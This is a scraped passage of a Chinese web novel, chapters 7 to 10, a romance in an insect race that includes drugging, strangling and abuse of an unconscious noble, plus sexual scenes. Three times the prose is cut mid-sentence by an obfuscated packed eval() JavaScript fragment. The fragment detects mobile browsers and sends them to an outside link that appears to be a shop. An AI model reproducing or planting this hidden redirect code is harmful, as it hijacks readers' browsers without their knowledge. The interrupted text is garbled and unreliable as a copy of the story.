《全虫族都在演我》 7. 第 7 章 雪因坐姿很端正,一本正经,表情严肃,头微微上扬带着贵族惯有的矜贵与疏离。 雾气氤氲的蓝眸俯视着墨尔庇斯,仿佛他只是一个微不足道的虫子。 完全不知道自己才是被凝望的本身 也毫无察觉,自己还坐在猎人的身上。 墨尔庇斯一瞬间快兴奋疯了,那种基因本能的久违的征服欲血脉中沸腾,从骨子里弥漫上来啃噬着理智,带着一丝意料之外情理之中的细密痒意。 他甚至快要控制不住一贯强势自持的表情。又或是星渊污染削弱了他的自制力,让他难以自控 ,是这样吧?他也不想去想。 只是追逐本能,瞳孔缩成一道危险竖线,牢牢锁住蛛网中央那只懵懂的小蝴蝶。 宽敞的卧室被他按耐不住精神力下扭曲变形化作实质的阴影,形成巨大牢固的蛛网,密密麻麻看不见的丝线,将中央那个纯白迷茫的身影层层缠绕,困在掌心。 “告诉我。”手掌扣住雄虫腰身,隔着布料感受着下方结实有力的腰腹传来的热度,听说雄虫每日都要接受严苛的核心训练,至少在交/配这件事上,他们确实拥有绝对的优势。 不由自主咬着唇直到溢出血腥味,视线难以控制地投向那诱惑的源头,强压下兴奋,松开手。 又或是短暂的松开,是为了更好享受送上门的猎物。 他单膝跪地在雪因面前,指尖却缱绻地缠绕着对方雪白长发,“想让我如何服侍您?” “……”雪因没有出声,眼像一片雾气弥漫的海,浓密的睫毛轻轻颤动,迷雾笼罩的眸子里隐约映出墨尔庇斯眼中的红,却依然没有聚焦。 没有在意被困住的发丝,被笼罩在阴影下的身体。 墨尔庇斯低笑着俯身凑近,将那缕初雪般长发,含入唇间。舌尖抵着发丝,贪婪地汲取着上面若有若无的信息素,淡淡的甜,还不如没有。若隐若现,反而更令人疯狂地想要抓住更多。 指节分明的手缓缓抬起,轻轻朝墨尔庇斯的眼睛伸来,那抹雪色在视野不断变大。 墨尔庇斯没有躲,他兴奋极了,直到那温热的指尖触摸到眼角,他依然一动不动,近乎痴迷地凝视着蛛网中这只自投罗网的小蝴蝶。 爱?欲望?厌恶?本能?种种交织,早已分不清。 信息素不受控制的在房间肆意弥漫,与精神力形成蛛网状的阴影缠绵交织。胸口处被污染腐蚀的疼痛迅速消散,取而代之的是那种从骨髓深处渗出的痒意,与…汹涌的饥饿。 唾液不受控制的分泌,交/配、占有、或是吃了他。 他有些难耐,理智像随着污染的消散无法控制一同离去,只剩下最原始的本能在驱使着他。 这就是顶级雄虫。他听到心跳开始快速跳动,连小腹深处都泛起难耐的抽搐。 看起来就很好吃,雪白、脆弱、毫不设防。看起来就美味得让人要疯掉。 即使被吃掉也挣扎不起来,只会睁着朦胧泪眼,任由水光潋滟,无力承受这一切。 雪因… 他死死锁定着面前这个身影。 这是他亲手用骨血浇灌长大的,早晚都得是他的。既然如此,提前收取一些报酬,又有什么关系? 就…尝一点点好了。等会儿用精神力为他治愈,让血肉重生便是。 不会疼的,别怕啊。翻涌的欲望让喉结难耐滚动,不由自主舔了舔嘴角。 雪因注视着他,感受指尖下灼热的身体,轻轻眨了眨眼,迷茫地开口“诺伊斯…” …… …… 嗤笑一声,墨尔庇斯猛地起身掐住那截纤细的脖颈。雪因瞬间挣扎起来,呼吸变得急促,双手无力地抓挠着他的手臂。 眼睛又漫上了一层水雾。 这就是雄虫。 被基因支配的低劣生物。 即使在雌君身边,也敢肆无忌惮呼唤他人名字的蠢货。 理智回笼了么?又或许没有。他凝视着雪因,指尖感受着对方脆弱的脉搏。 “雪因。”他骤然松手,看着对方痛苦地蜷缩咳嗽。都这时候了还带着脆弱至极的美,不愧是天生用来引诱雌虫的利器,让所有雌虫沉沦的天敌,是与生俱来蛊惑人心的…没用的东西。 药效足够强烈,即使这样雪因依旧没有清醒,只是缓过神来,无助地望向他。被泪水浸湿的唇瓣泛着水光,看起来就撩人,越是破碎,越具强烈令人疯狂的诱惑。 让雌虫无法下手,终身迷恋。 确认对方仍处于无意识状态后,墨尔庇斯彻底卸下伪装。脆弱的雄虫本能地感知危险用手背捂住泛着水光的唇,身体还处于刚刚死里逃生心有余悸的颤抖,眼神空洞却下意识带着一丝引诱。 别杀我。 我什么都听你的。 他想求饶,但潜意识叫嚣着,阻碍着他说示弱的话,长期以来教育出的警告线条疯狂闪烁。 “你想要的一切,我都能给你。”墨尔庇斯近乎残忍地攥紧雪因捂住嘴唇的手臂,强迫那截纤细的手腕高高举起,让这张漂亮的脸蛋完全暴露在视线中。 “包括你心心念念想要娶回家的那些蠢货。” 透过那片雾气氤氲的海,他仿佛看见了这位顶级雄虫的未来——在无数雌侍环绕簇拥下的身影。他有点想看清到了那时候雪因会是怎样一种表情呢?可惜即便在想象中也无法勾勒,这双眼睛太干净。 或许到了那一天,该把这双眼睛永远珍藏起来?让时间永远停留在尚且纯净的时候。 墨尔庇斯几乎要克制不住这份恶劣的冲动。 制造一场意外实在太简单了。只要不影响繁殖就好。 他的眼神愈发冰冷,死死锁住雪因:“有我在一天,就没人敢动你。” 除了我。 “但是,别做蠢事。”墨尔庇斯声音低沉,肆意威胁着。虽雪因苏醒后不会记得这一切,但很方便将恐惧深植于潜意识中。 保持敬畏,恪守应有的尊重,别逼我亲手毁了你。 墨尔庇斯一直知道自己有病,且病得不轻。雪因既是帝国赐予他的奖赏,也是企图约束他的缰绳。 帝国妄图用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513806|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个顶级血脉的幼崽,来做牵制他的利器,可惜失败了。雪因非但牵制不了他,反而彻底被他牢牢掌控。不过他对欺凌幼崽这种事向来不屑一顾,于是常年在外征战。 攥紧手臂的力道越来越重,在雪因纤细的手臂上留下深红的印记,他浑然不觉,近乎着迷的凝视着怀中挣扎的雄子。 “我的孩子…”他嘴角勾起残忍的笑。脆弱只会激发更强烈的凌虐欲,没关系的,他想。只需要在雪因醒来前,用精神力治愈好这些伤,没有任何人会察觉到他做的一切,包括雪因自己。 求饶吧,求我放过你。 他双眼瞳孔紧缩,浑然不觉自己早已失控,又或者很早以前就疯了。 “啪!”清脆的耳光声响起,打断了他的思绪。他下意识松开钳制,脸颊偏向一侧。 “跪…跪下。”雪因好像醒了,又好像没醒。双眼依旧迷蒙,眉头紧蹙,左手小臂已经一片青紫的淤痕,无力在身侧。他喘息着下达命令,行使着雄虫与生俱来的特权。 理智瞬间回笼。墨尔庇斯一时难以判断对方是否真的清醒,于是微微侧首,谨慎地观察着雪因的表情,缓缓屈膝跪地。 蔓延至整个房间的蛛网状精神力,随着他的动作迅速收拢回身体,精神力褪去那种暴虐,变得温顺柔和的模样缠绕上对方伤处。很快,那些青紫的痕迹一点点消散,像是这场冲突不曾出现过一样。 他跪在沙发前,雪因则居高临下地坐着。两道目光在空中交汇,谁也不曾退让。 在雪因清醒时,他总是保持着这副冷静自持的模样。多年来倒成了习惯,他不禁有些发笑,自己竟真的被这一瞬间的气势控制住了一瞬。 现在他确定了,雪因仍处于无意识状态。刚才的举动大概是触及危险底线,本能释放的信息素操控,迫使他收回了精神力的压制。 可惜年轻了些。 要换作他,定会趁敌人被迷惑的瞬间,利用尾钩终结冒犯者的性命。而尾钩怂怂缩在尾椎骨中,从争执始至终不曾显露。是笃定他不会真正下手,还是出于恐惧?他并不在乎,要是刚才尾钩奋起反击,只是现在需要治疗的,多一个受伤的尾钩罢了。 倒是识时务。 还需要更多时间历练。 高涨的情绪被打断,先前的兴致已然消散。多了些索然无趣。 墨尔庇斯站起身,执起雪因一缕雪发,像随时会消散的一抹雪。 他将其拢在掌心,看着它从指缝滑落,又轻柔地拾起,细致地将其别回雪因耳后。 “雪因,你自诞生起就站在众人仰望的高度。无数双眼睛在暗处觊觎着你,他们将你捧上神坛,用无数谎言迷惑住你。面下却恨不得你坠入泥潭,任人采撷,想要将你拖入深渊,将你吞噬殆尽…” “不要相信任何人…”包括我。 雪因的睫毛轻轻颤动,似乎在无意识中捕捉着抗拒这些话语。 “你生性敏感脆弱……但刀始终在你手中。” “别让无用的感情影响你。” 墨尔庇斯转身,推开房门离去。 8. 第 8 章 雪因是被手腕上终端不断震动的嗡鸣声中醒来的。 迷茫地睁开眼,视线缓缓聚焦在头顶绘有繁复花纹的彩绘玻璃穹顶上。上边纹路间镶嵌的微光流动,充斥着精神力的星光在上边点缀,随着他的苏醒悄然流动,繁杂的纹路成型,微小星辰簌簌落下,带着温暖的能量浸入身体。 用手背揉了揉惺忪的睡眼,手臂深处和喉间传来一丝细微的痒。像是快速愈合后遗症,又像是被压麻后的酥麻感。雪因抬起手,治愈星光点点飘来,随着他的动作进入手臂,握拳、松开,来回几下不舒服的感觉彻底消散。 睡衣随着他抬手的动作滑落,露出洁白无瑕的小臂,没有任何异常。仔细回忆,昨晚喝醉了之后…想来是侍虫将他送回并打理妥当的。身上已被妥帖地清理过,换上了无比舒适绣有家族纹章的睡衣,鼻尖萦绕着熟悉的贵胄熏香。 好像忘了什么重要的事。 窗外夜色正浓,这时终端继续震动起来。 双臂支撑起身体,慢慢挪动到床背靠上,这才抬起手腕查看终端——凌晨五点。 未读消息99+ …… !!! 完蛋了,答应了诺伊斯过去的。 雪因呼吸一滞,心虚地轻晃手腕,终端智能地展开全息投影把所有消息弹出。但出乎意料,却是密密麻麻看不到头的已撤回的消息,慢慢向上翻阅。 20:57 【想你了QvQ】 【已撤回】 【已撤回】 【用餐结束了么?】 【已撤回】 【已撤回】 【我今天吃了你留着休息室的……好好吃呀,不愧是维斯特冕殿下,所有的东西都是最好的,好厉害(星星眼.jpg)】 【我可以都拿走么?】 【我都拿走了嘛,爱你爱你】 【已撤回】 …… 22:17 【已撤回】 【已撤回】 【来了么?我好想你】 【图片】诺伊斯仰躺在雪白的床上,鲜红长发铺散,他微微昂头看向镜头,紫罗兰色的眼眸里氤氲着一层迷离水光,眼神像带着钩子。 他的唇边沾着一点抹茶奶油,湿红的舌尖轻轻舔过唇角,将那点奶油卷走。食指则轻点在饱满的下唇上,姿态驯顺引诱。指尖沿着紧实的肌理线条缓缓下滑,没入睡袍领口。 【已撤回】 【已撤回】 【已撤回】 【我好爱你。(哭哭.jpg)】 【已撤回】 …… 从晚十二点后,开始穿插着数不清语音通话一路转为视频申请。 之后便是清一色的已撤回消息,看不到具体信息。 雪因指尖顿了顿,心虚眨了眨眼,滑将消息列表滑到最下方。最新的一条消息显示于三分钟前,同样已经撤回。 他的手指刚点上输入框,正准备回复,新的消息便弹了出来: 【你他雄的最好不是死外面了,不然你等着我弄死你!!!】 【你完了!我告诉你,你以后别想见我!】 【也别想碰我!】 雪因:……? 一秒不到,那几条消息被光速撤回,像是不曾出现过。想来,诺伊斯多半是看到了对话框顶端的‘对方正在输入中’。 雪因低笑了一声,仿佛能看到另一端诺伊斯气急败坏又强忍着的可爱模样,他慢慢键入:【晚上喝醉…】 对面的消息立刻弹出: 【雄主,你不在我好担心你,出什么意外了么?你没事吧?(担心.jpg)】 雪因删掉刚打的字,重新输入:【没事…】 【我一想到你一只虫在那边,就好难受,他们都欺负你对不对?不像我,只会心疼你。(担心.jpg)】 【我一直怕你出意外,想找我找不到我,就等着…】 【没关系,不用担心我,我只是希望你能,随时找到我,我一直在这里。】 【虽然我什么都没有,但是就算是隔着终端能让你感受到一丝慰问,我就满足了(委屈.jpg)】 雪因没忍住,手背轻捂着唇轻笑起来,眼中那片蔚蓝泛起温柔涟漪。总算是将信息发出【今晚喝醉了】 【喝醉!???】 【你他雄的不会是跟别的雌虫在一起吧?!用喝醉当借口?!你敢!!!】秒速被撤回。 【很难受吧?】 【我爱你,我想看看你】 【对方正在申请视频通话中…】 雪因接通视频,出现的却不是诺伊斯气急败坏的脸,而是一片黑。 听筒里传来脚步声,接着是开门、反锁轻响,随后是细密淅淅沥沥的水流声。 “诺伊斯?”雪因带着一丝疑惑轻声唤道。 虚掩着镜头的手移开了,雪因这才看到对方——通讯画面被固定在视角左上方,细密的水从花洒洒下,淋入诺伊斯脸上。顺着他紫罗兰色的眼眸、漂亮的眉骨、与高挺的鼻梁一路滑落,流入微微张开湿润嫣红的唇间。 眼神带着钩子,直直看向终端另一端脸上一点点泛起红晕的雪因。 雪因慌乱地别开视线,随手抓起一旁毯子朝天花板上摄像头挡去——自然是挡不住的,但智能系统能理解主人的意思,瞬间关闭了室内所有监控。 只泛起道道蓝光,像小精灵一样漂浮在四周为主人点亮四周。灯光温和,能保证视野清晰,又不会刺激雄虫脆弱的眼睛。 “诺伊斯…”雪因小声唤着,翻了个身将被子抱在怀里蜷缩起来,手拉起被沿,欲盖弥彰地遮住脸颊,只露出一双眼睛望向诺伊斯。 “你…别这样。”他所见过的雌虫,都会保持着严谨克制的模样,避免冒犯到雄虫。 只有诺伊斯,总是很直白。 “殿下…”诺伊斯看向镜头,紫罗兰色的眼眸漾起一层朦胧水光,眼眸中那片紫愈发勾人。 “你不用…委屈自己,做这种事。”雪因想,他一定是久久等不到消息委屈坏了。才忍着、逼自己做这种引诱的事。 雌虫向来将尊严看得很重的,就连那些常年向他跪伏的,虽然跪下祈求他的信息素,但眼神总是高傲、带着轻蔑的。 跪下的是他们,觊觎的是自己,无趣、虚伪。 诺伊斯:“……?” “想什么呢雪因,你专心一些好么?”诺伊斯皱眉,微微歪着脸看着终端,将俊美的脸展露无遗。 “……,我是说,你不需要这样我也…”雪因停下,睫毛轻轻颤动,脸上的红晕又深了几分。爱…他也不知道是什么,又或是别的什么情绪,压在喉间说不出口。 现在还不配说这种话,那该是极为郑重的事,等……等结婚的时候,再庄重的、当着帝国的面,宣告才对。 “你害羞了么?害羞了么?害羞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513807|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?”诺伊斯顿时兴奋起来,连声追问,“我知道,我也爱你~”他倒是张口就说出来。 他总是这样,爱很快恨也很快,一向鲜明从不吝于表达。 刚认识的时候,诺伊斯还会字斟句酌地组织语言,小心翼翼地服侍他。后来…是什么时候开始变得肆意妄为的呢?好像是从诺伊斯第一次将他压在墙上索吻开始,他没有拒绝,也没办法拒绝。 诺伊斯等级不高,信息素很淡,要很努力才有浅浅的味道。 他会哭。 泪水也好甜,沾湿在唇上,随着唇瓣一张一合,又咸又甜。 好可爱。 后来一发不可收拾,诺伊斯是真的很懂一步一步得寸进尺。 但好喜欢。 不用去猜,也永远不会被拒绝。只要他微微表现出低落,诺伊斯就会在他耳边不厌其烦地重复… “我爱你~我漂亮的雪因~我最最最好的雄主。” 雪因把捂着脸的被子又往上拽了拽,只露出一双压不住情绪月牙状眼睛,小声应了句:“嗯。” “哼哼。”终端那头传来骄纵的轻哼,“等等,雪因给我看看你卧室。”诺伊斯脸色突然沉下来一瞬,随即又迅速挂上明媚的假笑。 他眨眨眼像是组织语言,开口带上了一丝恳求,“我…我还从没见过你的卧室呢。好好奇啊…顶级雄虫的卧室是什么样的”虽然没多真诚就是了。 “卧室?”雪因握住被子的手一顿。 “不可以么?” 雪因顺从地坐起身。终端智能地响应指令,缓缓绕着卧室飞旋一圈,将全景收入画面。“这样么?” “停!” “嗯?” 画面定格在床上。诺伊斯仔细放大检视,确实没有其他雌虫留下的痕迹,也没有可疑的液体,这才彻底放下心来。 “没事了,我们继续~”诺伊斯语气重新变得愉悦起来。 雪因“……?” 虽然自家雌虫这些弯弯绕绕的心思,但既然这样简单转一圈就能让诺伊斯开心,雪因便默默记下了——以后视频时,要先让终端绕着房间转一圈才行。 满足一下自己雌虫的小心思没什么不好。 我真好,我真是个体贴的雄虫。 雪因想着,嘴角又弯起弧度,海一样的温柔的在眼底漾开。 他重新看向屏幕中的诺伊斯,迷蒙的水汽氤氲。 “你…”雪因手忙脚乱地伸手想捂住终端屏幕,又慌乱地收回手。 “……”诺伊斯声音带着一丝潮意,将雪因眼中那片海泛起巨浪。 “我…我…我知道了。对不起。”雪因脸颊烫得厉害,他可没有诺伊斯这么厚脸皮,羞涩得厉害。 “等等…你没有雄虫信息素…”雪因突然想起这个关键问题。 没有感觉,忙活着大半天只是表演么? “谁说我没有了。”诺伊斯漫不经心舔了舔嘴角,另一只手举起一支细长的试管。 轻轻晃动,里面液体也开始荡漾起来,一圈一圈,像是荡在雪因心上,心跳声随着越来越快。 “这里……封存着你的气息。”诺伊斯凑近镜头,看向屏幕外羞涩无措到完全呆住的雄虫,忽然笑了起来,微微歪头,紫罗兰色的眼眸中流转着蛊惑的光芒。 “别躲…让我看看你的脸…” 雪因无法拒绝,移不开眼痴痴看向对面那片深邃的紫。 犯…犯规的吧。 9. 第 9 章 “殿下?” 雪因在一阵敲门声中醒来。一夜荒唐后,积压的压力减轻了不少,床上的痕迹已经被穹顶落下微小星辰清理干净,它们完美取代清洁系统,悄无声息无时无刻地服侍着主人。 “嗯。” 门应声而开,洛迦南准时带着侍虫出现。成群的侍虫拿着各式各样用品各司其职,井然有序服侍他洗漱更衣,直到被侍虫穿好衣物,雪因仍有些迷迷糊糊回味着昨晚。 唔…答应诺伊斯今天要过去的。 亲卫队交织的精神力温和覆盖房间,洛迦南则站在一边,眼瞳深处浮现冰蓝色的繁杂花纹,使用精神力在雪因身上一遍遍细致扫过,进行身体状况的细微观察和精神状态的评估。 记录员则站在两步外,根据反馈快速记录着,作为呈交给雄虫协会维斯特冕殿下日常报告中的一部分。 雪因抬手,推开正为他扣上暗纹外套扣子的侍虫的手,修长的手指利落地将外套上的暗纹扣子逐一扣好,随即转身,缓步踱至窗边,凝视着窗外偌大堪比皇宫的王爵府。 洛迦南接过侍虫手里的梳子。昨日的刑罚留下的伤未愈,向前迈步时身体几不可察地颤抖了一下,他蹙了下眉并未在意,继续上前,为雪因梳理那头如雪的及腰长发。 雪因嗅到空气中淡淡的血腥味,没有询问,只是悄然放出信息素温和替他治疗着。 梳理的动作没有丝毫停顿,洛迦南目光依旧专注流连于指间,沾上些许晨露,一丝一丝浸入发丝。 “殿下!”门外传来呼唤。 雪因回头,来虫是菲尔斯,雄父家族派来辅佐他的管家先生,和洛迦南各司其职,是他绝对可以信任的虫。 “抱歉,殿下。昨日在维斯特冕公爵府等候国防副大臣阁下归来,未能当天返回复命…” “雌父昨晚议会?”雪因打断他询问。 “是的。国防副大臣阁下说有些重要物品需要整理,待会议结束后亲自送来。没想到会议从昨晚十点一直持续到今天清晨七点才散…” “嗯?”雪因眉梢微挑。什么会议如此冗长? 菲尔斯下意识地压低声音:“呃…听闻是墨尔庇斯军团长昨夜带着一身伤抵达,耽搁了会议进程。” “墨尔庇斯?”雪因眼中闪过一丝诧异。昨夜他大概七点醉酒失去意识,那时墨尔庇斯还好端端地坐在他对面。短短几个小时内,谁能将他重伤? “是的,据说伤得不轻,手臂上还有几个烧焦的空洞…听起来就吓虫。” “菲尔斯。”洛迦南打断。 菲尔斯瞬间噤声,意识到在殿下面前谈论这些血腥细节实属失言,尴尬笑笑,连忙找补道:“墨尔庇斯军团长确实需要冷静。” 雪因很快意识到多半与他有关,昨晚醉酒失去意识,紧接着墨尔庇斯重伤…他立刻将两件事联系了起来。“他对我做了什么?” 洛迦南迎上他的目光,带着标志性的笑,看不出情绪,“不,是您做得很好。” …… 不是,我做了什么? 雪因有些疑惑,但面上不露分毫。在获得更多信息前,任何关于昨晚的询问都可能暴露自己的空白。雌父说过,当对手底牌不明时,最稳妥的打法就是以静制动。 而目前的结果是墨尔庇斯受伤,虽然不确定他做了什么,但自己毫发无损。而洛迦南身为雄虫协会的代表,能说出“您做得很好”,这意味着他潜意识做了…被鼓励的事。 …… 从结果推断,洛迦南的肯定说明墨尔庇斯咎由自取。 而且,墨尔庇斯就是坏!!! 雪因觉得自己才不会这么容易醉酒,之前和诺伊斯接吻尝了这么多都没事,凭什么……而且醉倒也太快了。 墨尔庇斯每次回来的时候,他好像都很容易困。虽然这么说有些牵强,或许只是巧合,但老师说过,世间没有那么多巧合。可墨尔庇斯毕竟是他名义上的雌君,理应没有加害他的理由… 罢了,总之以墨尔庇斯的修复力不过一天也能好。雪因敛下心绪,眼下局势微妙,雌父的会议、协会的态度都比追究真相更重要。 “嗯。”他淡淡应了一声。 “殿下,莫里亚斯导师今日返回帝星,请您即日返回克斯安蒂星正常上课。”洛迦南在一旁柔声说道。 “老师代表雄虫协会去B级星系宣讲,原定不是一个月后回来?”雪因看向菲尔斯。 “抱歉,洛迦南,我有些事需单独向殿下汇报。”菲尔斯上前一步。 雪因微微颔首,洛迦南便领着所有侍虫退下。 门刚一关上,菲尔斯便压低声音,殷勤说道:“殿下放心,莫里亚斯导师绝不知道您与诺伊斯的事。他此次紧急归来,据说是因为亚撒阁下正企图强行再立一位雌君,协会需要元老坐镇裁决。” 亚撒,雪因同为S系的学长,帝国四大雄虫家族维斯特家次子。自一年前昏迷苏醒后,就变得神神叨叨,行事愈发荒诞。 “他要娶谁?” “属下还不知。”菲尔斯略显惭愧。 “嗯”雪因淡然应了声。 菲尔斯立刻找回状态,流畅地汇报:“遵照您的日程,接下来一周是克斯安蒂星的集中进修。您安心上课,我已经将诺伊斯那段时间也安排了封闭式实战集训,确保他绝不会来打扰您的学习进度。” 雪因:“……” 下意识地打开个人终端,果然看到诺伊斯在半小时前发来的信息,告诉他这段时间争取到了封闭集训的机会,别太想他,但也不许忘了他。最后警告雪因不许乱搞! 还发了几张极具诱惑照片。 雪因的目光从终端上诺伊斯充满色气的脸上移开,缓缓落在菲尔斯写满“求表扬”的脸上。 雪因“……” 可是我想打扰他啊!!! 还以为就算被抓去上课,还能时不时看看诺伊斯放松一下。 但他什么也不能说。 也不能反驳,不能表现出对上课的抗拒,更不能公然表示对一个B级雌虫的依赖。 心中涌上一种难以言喻的憋闷,最后还是忍住,在心底小小叹了口气,眼神不耐地看向远方。 菲尔斯毫无所觉,再次自信地开口:“同时,我已安排了几位S级雌虫暗中保护他,对外宣称是我远方表弟。保证不会让您的……小情虫,”他朝雪因心照不宣地眨了眨眼,“受到一丝一毫的损伤。主家那边目前也并未产生怀疑。” 雪因微微颔首。至少现在不用担心诺伊斯的安全,他身上有自己留下的信息素,还有自己赐予的、带有维斯特冕公爵徽记的…信物,想来也不会被欺负。 放下心来,雪因淡然回应:“嗯。安排得很好。” 菲尔斯自豪地躬身退下,再次为自己成功为殿下扫清障碍而心满意足。 “殿下。”洛迦南在门外静候,姿态一如既往地恭敬,目光在他脸上停留了一瞬。“您看起来有些倦意。” 雪因脚步未停,从他身侧走过,并未看向他,“无妨。” 洛迦南不再多言,沉默地跟上。 外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513808|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十多位身穿纯白制服的侍虫早已列队等候,身姿挺拔,清一色白发白瞳,动作挑不出一丝错,连表情都像复制粘贴般。 队伍沉默地随着雪因的脚步一同来到庄园中央空地上。 这里精神力波动异常强大,空中不时闪现微小的符文阵法。 雪因通过重重屏障,来到正中央。周边侍虫齐刷刷半跪,左手抚胸,胸前流苏无风自动,开始闭眼吟唱古涩悠扬的腔调。 洛迦南站在雪因后侧,开口加入吟唱,以他为中心地面亮起一圈幽兰繁杂花纹,与外围所有侍虫的精神力相连,空中蓝色飘动的精神力浮现金光交织,雪因微微眨眼,入目便是一望无际的绿色草坪延展至天际,空气中弥漫着纯净温和的精神力气息。 克斯安蒂星——高级雄虫幼崽孕育之地。虫族最核心的地带。 而雪因是这里唯一被特许走读的雄虫,没有谁比墨尔庇斯强大到拥有足以震慑整个帝星的绝对武力。至少在帝星是这样,以至于在王爵府内部就设立直达通道的特权。 而一般贵族雌虫想进入看望自家雄子,往往需要提前几个月申请,佩戴足以压制SS级雌虫的特制抑制环,才能进入。 草坪上还有三只雄虫崽子互相追逐着玩闹,大概五六岁模样,挤在一起。中间红发崽子甩出尾钩想去绊金发同伴小腿,金发幼崽警觉机警躲开,瞬间激发了红发崽子野性,追逐着他刚想扑上去,就被另一只趁机按倒在地上摩擦。 还不等崽子嘚瑟一秒,金发崽子又趁机压了上来,三只崽瞬间叠叠乐扭作一团,打得不可开交。 按理说这些雄虫崽在外都是无比尊贵的存在。 奈何这是克斯安蒂星,空中无处不在的精神力能在雄虫幼崽被打伤前一秒形成护盾不会受伤,而能在一起玩闹的都是同级别没有尊卑贵贱,加上虫族天生爱打闹多活动活动没什么不好,抚育虫们也乐得让他们通过打闹释放天性。 即使不会感到疼痛,被按在地上摩擦的感觉也让雄虫崽们并不好受。 所以大部分雄虫崽无比期待成年,成婚就能搬出去,在外作威作福,甚至甘愿外放到C级星球,做那边唯一的高级雄虫,称王称霸肆意妄为。 空中点点蓝色星光缓缓汇聚,形成巨大的监视虫,在空中飞翔监控着四周,像无比巨大的蓝鲸,透明发着些许蓝光,腹部垂着八条毛茸茸的节肢长须,随着游弋时在身后拖出长长的蓝金色光尾。 小虫崽这下分开了,看到蓝鲸往地面飞过来反而欢呼着冲上去,监视虫们温顺地任由幼崽穿透自己虚幻的身体,只在接触时留下些许安抚性的精神力。 “没意思!”一个幼崽喊道,“我们要骑上去!” 雄虫崽咯咯笑,不再满足只是从身体穿过,高高跃起。监视虫们似乎无奈地波动了一下,迅速凝实身体,稳稳接住他们,载着这群小霸王在空中缓缓巡游。 而对雌虫,这些监视虫就没有这么温和了,雌虫胆敢闯入,只需承受三次这样的“温柔”撞击,就足以让S级雌虫的精神海彻底崩碎。这里是雄虫的绝对领域,所有设施与服务都只为守护他们而存在。 随着雪因他们进来,几只游离的监视虫飘近雪因一行,毫无阻碍穿透他们的身体。洛迦南作为协会内部成员,自然被视作“自己人”。 随后两只最为庞大的监视虫降落在前方,化为两名白发白瞳的侍卫,躬身行礼:“雪因殿下,洛迦南大人。” 雪因颔首,径直向前走去。“走吧。” 两只监视虫所化的侍卫立刻敬畏地退至两侧跟随。 10. 第 10 章 “雪因。好久不见~”佐尔安热情地扑上来,手臂自然地环过雪因的肩膀,将他往自己怀里带。 “别、别碰我。”雪因抬手格开他的动作,躲开。 “哎,你还是老样子。”佐尔安不以为意地笑着,却突然凑近他颈侧轻嗅,金瞳瞬间亮了起来,“不对,你身上有情况!” 雄虫对雌虫的味道再敏感不过,骗得了雌虫,骗不了同级别的雄虫。 雪因耳根微红,侧身避开他探究的目光,径直走向窗边的座位。“胡说八道。” “是吧是吧?”佐尔安不依不饶地跟过去,斜倚在窗边。阳光透过巨大的落地窗,更显得那双金瞳亮得惊人。 顶级雄虫活动区位于克斯安蒂星正中央海岛上,海面无数监控虫飘动,整座白塔教室悬浮于海面之上,视野极佳,能看到远处精心模拟的草原,适应各种族幼崽的山林、沙地、雨林、雪林。 这是无数强大雌虫用精神力构造出的世界,就连阳光空气都保持着恒定,确保每只雄虫幼崽能以最优质的状态成长。 “嗯。”雪因被缠得不行,含糊应了一声。 “他一定很漂亮,你从小就喜欢漂亮东西。下次带出来见见?”佐尔安一跃而起坐上窗台,拿起雪因桌面的书半掩着脸,眼睛笑得弯弯的歪歪头猜测。 “对…他很漂亮。”雪因伸手想拿回书本,却被佐尔安敏捷地举高,手腕灵巧地一转,彻底错开雪因的动作,眼神八卦得不行,示意雪因继续说。 雪因不再争夺,任由自己更深地陷进柔软的座椅里。他微微仰头,目光投向窗外虚幻的远山回忆着“他很真实…毫不掩饰欲望,生命力旺盛得近乎野蛮。为了想要的东西,会不顾一切地去争、去抢,像一团…灼热的、挣扎着不肯熄灭的野火。” 燃不尽,风一吹,便连着天。 莽撞地烧入雪因眼中那片望不见底的深海,浮光跃金、燃起永不熄灭烈焰。 “哇噢~”佐尔安发出暧昧的长音,随即语气一转,带着鲜明的嫌恶:“总之比墨尔庇斯强!连我雌父都经常骂他纯粹是个混蛋。” “你雌父骂他是因为墨尔庇斯去年截了原本要指派给第四军团的那批物资,当时第一军团征战星渊损耗过大,情有可原。而且,第四军团内部腐败案刚发,那批物资给他们是浪费。” “不管,反正他就是个混蛋。他还整天欺负你。”佐尔安为雪因打抱不平,虽然雪因从没有说墨尔庇斯的坏话,但他认识雪因十几年时间,从未见过墨尔庇斯以雪因未婚夫的身份前来克斯安蒂星探望,每年庆典都是雪因独自出席。 “……” 雪因低垂下眼眸,轻轻叹了口气:“别这样说,军部前线一向繁忙,他也很辛苦。” 